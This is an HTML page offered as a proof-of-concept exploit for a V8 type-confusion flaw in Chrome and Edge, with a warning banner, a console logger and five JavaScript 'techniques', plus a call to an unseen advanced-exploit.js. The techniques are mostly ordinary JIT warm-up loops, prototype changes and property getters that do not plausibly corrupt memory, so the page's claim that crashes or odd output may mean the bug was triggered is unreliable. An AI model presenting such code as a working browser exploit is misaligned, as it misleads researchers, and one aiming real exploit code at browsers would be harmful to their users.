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<title>CVE-2025-12428 PoC - V8 Type Confusion</title>
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<div class="warning">
<h2>⚠️ WARNING: Proof of Concept Exploit</h2>
<p><strong>This is a security research tool for educational purposes only.</strong></p>
<p>Only use this in a controlled, isolated environment with explicit permission.</p>
<p>Misuse of this code may be illegal and unethical.</p>
</div>
<h1>CVE-2025-12428 - V8 Type Confusion Exploit</h1>
<div class="info">
<h3>Vulnerability Information</h3>
<ul>
<li><strong>CVE:</strong> CVE-2025-12428</li>
<li><strong>Type:</strong> Type Confusion in V8 JavaScript Engine</li>
<li><strong>Severity:</strong> High</li>
<li><strong>Affected:</strong> Chrome & Edge < 142.0.7444.59</li>
</ul>
</div>
<button onclick="runPoC()">Run Basic Proof of Concept</button>
<button onclick="runAdvancedPoC()">Run Advanced Exploit</button>
<button onclick="clearConsole()">Clear Console</button>
<div class="console-output" id="console"></div>
<script src="advanced-exploit.js"></script>
<script>
const consoleOutput = document.getElementById('console');
function log(message, type = 'info') {
const timestamp = new Date().toLocaleTimeString();
const colors = {
info: '#0f0',
error: '#f00',
warning: '#ff0',
success: '#0ff'
};
consoleOutput.innerHTML += `<span style="color: ${colors[type] || '#0f0'}">[${timestamp}] ${message}</span>\n`;
consoleOutput.scrollTop = consoleOutput.scrollHeight;
}
function clearConsole() {
consoleOutput.innerHTML = '';
}
// Capture native console methods
const originalLog = console.log;
const originalError = console.error;
console.log = function(...args) {
originalLog.apply(console, args);
log(args.join(' '), 'info');
};
console.error = function(...args) {
originalError.apply(console, args);
log(args.join(' '), 'error');
};
/**
* CVE-2025-12428 Type Confusion PoC
*
* This PoC attempts to trigger a type confusion vulnerability in V8
* by manipulating object types and confusing the optimizer.
*/
function runPoC() {
clearConsole();
log('Starting CVE-2025-12428 Proof of Concept...', 'info');
log('Browser: ' + navigator.userAgent, 'info');
log('', 'info');
try {
// Technique 1: Property accessor confusion
log('=== Technique 1: Property Accessor Type Confusion ===', 'warning');
let obj = {};
let arr = [1, 2, 3];
// Create conditions that might confuse the type system
function createConfusion() {
let x = arr;
// Force JIT compilation with type transitions
for (let i = 0; i < 10000; i++) {
x.length;
if (i % 2 === 0) {
x = arr;
} else {
x = obj;
}
}
// Attempt to access array property on object
try {
let result = x.length;
log(`Result: ${result}`, 'info');
} catch (e) {
log(`Error: ${e.message}`, 'error');
}
}
createConfusion();
log('Technique 1 completed', 'success');
// Technique 2: Array index type confusion
log('', 'info');
log('=== Technique 2: Array Index Type Confusion ===', 'warning');
function triggerTypeConfusion() {
let target = [];
let prototype = {};
// Set up prototype chain manipulation
Object.setPrototypeOf(target, prototype);
// Force optimization with inconsistent types
function optimizeMe(value) {
let arr = [1, 2, 3, 4, 5];
if (value) {
return arr;
}
return {};
}
// Warm up the function
for (let i = 0; i < 1000; i++) {
optimizeMe(true);
}
// Trigger with different type
try {
let result = optimizeMe(false);
// Attempt to access as array
let length = result.length;
log(`Length property access: ${length}`, 'info');
// Try to access index
let val = result[0];
log(`Index access: ${val}`, 'info');
} catch (e) {
log(`Type confusion detected: ${e.message}`, 'error');
log(`Stack: ${e.stack}`, 'error');
}
}
triggerTypeConfusion();
log('Technique 2 completed', 'success');
// Technique 3: Function type confusion
log('', 'info');
log('=== Technique 3: Function Type Confusion ===', 'warning');
function functionTypeConfusion() {
let func = function() { return 42; };
let obj = { prop: 'value' };
// Create polymorphic call site
function polymorphic(callable) {
return callable();
}
// Optimize with function
for (let i = 0; i < 5000; i++) {
polymorphic(func);
}
// Attempt to call non-function
try {
let result = polymorphic(obj);
log(`Unexpected result: ${result}`, 'warning');
} catch (e) {
log(`Expected error (normal behavior): ${e.message}`, 'info');
}
}
functionTypeConfusion();
log('Technique 3 completed', 'success');
// Technique 4: Property descriptor confusion
log('', 'info');
log('=== Technique 4: Property Descriptor Manipulation ===', 'warning');
function propertyDescriptorConfusion() {
let obj = {};
let arr = [];
// Define properties that might confuse type checking
Object.defineProperty(obj, 'length', {
get: function() {
// Switch type dynamically
if (Math.random() > 0.5) {
return arr.length;
}
return 'not a number';
},
configurable: true
});
try {
// Access length property
let length = obj.length;
log(`Length: ${length} (type: ${typeof length})`, 'info');
// Try array operations
if (typeof length === 'number') {
let fakeArr = obj;
// This might trigger type confusion if V8 treats obj as array
log('Attempting array-like access...', 'info');
}
} catch (e) {
log(`Exception: ${e.message}`, 'error');
}
}
propertyDescriptorConfusion();
log('Technique 4 completed', 'success');
// Technique 5: Prototype pollution attempt
log('', 'info');
log('=== Technique 5: Prototype Chain Manipulation ===', 'warning');
function prototypeConfusion() {
// Create objects with conflicting prototypes
let base = { value: 100 };
let derived = Object.create(base);
// Manipulate prototype chain
let temp = {};
Object.setPrototypeOf(temp, Array.prototype);
try {
// Access properties that might cause confusion
let arrLike = temp;
arrLike.push = Array.prototype.push;
// Attempt operations
log(`Is array: ${Array.isArray(arrLike)}`, 'info');
log(`Has length: ${'length' in arrLike}`, 'info');
} catch (e) {
log(`Prototype confusion error: ${e.message}`, 'error');
}
}
prototypeConfusion();
log('Technique 5 completed', 'success');
log('', 'info');
log('=== PoC Execution Complete ===', 'success');
log('If the browser crashed or showed unexpected behavior, the PoC may have triggered the vulnerability.', 'warning');
log('Check for: browser crashes, memory corruption errors, or unexpected type coercion.', 'info');
} catch (e) {
log(`FATAL ERROR: ${e.message}`, 'error');
log(`Stack trace: ${e.stack}`, 'error');
// Check if this is a crash indicator
if (e.message.includes('memory') ||
e.message.includes('corruption') ||
e.message.includes('invalid') ||
e.name === 'RangeError') {
log('⚠️ Possible vulnerability trigger detected!', 'error');
}
}
}
// Auto-run on load (can be disabled)
// window.addEventListener('load', () => {
// log('PoC loaded. Click "Run Proof of Concept" to execute.', 'info');
// });
// Advanced exploit runner
function runAdvancedPoC() {
clearConsole();
log('Starting Advanced CVE-2025-12428 Exploit...', 'info');
log('Browser: ' + navigator.userAgent, 'info');
log('', 'info');
try {
if (typeof TypeConfusionExploit !== 'undefined') {
const exploit = new TypeConfusionExploit();
// Override the log method to use our custom logger
const originalLog = exploit.log.bind(exploit);
exploit.log = function(msg, level) {
originalLog(msg, level);
log(msg, level);
};
exploit.runAll();
} else {
log('Advanced exploit class not loaded. Make sure advanced-exploit.js is available.', 'error');
}
} catch (e) {
log(`FATAL ERROR: ${e.message}`, 'error');
log(`Stack trace: ${e.stack}`, 'error');
}
}
log('Proof of Concept loaded. Click "Run Proof of Concept" to execute.', 'info');
log('⚠️ Only run this in a controlled environment!', 'warning');
</script>
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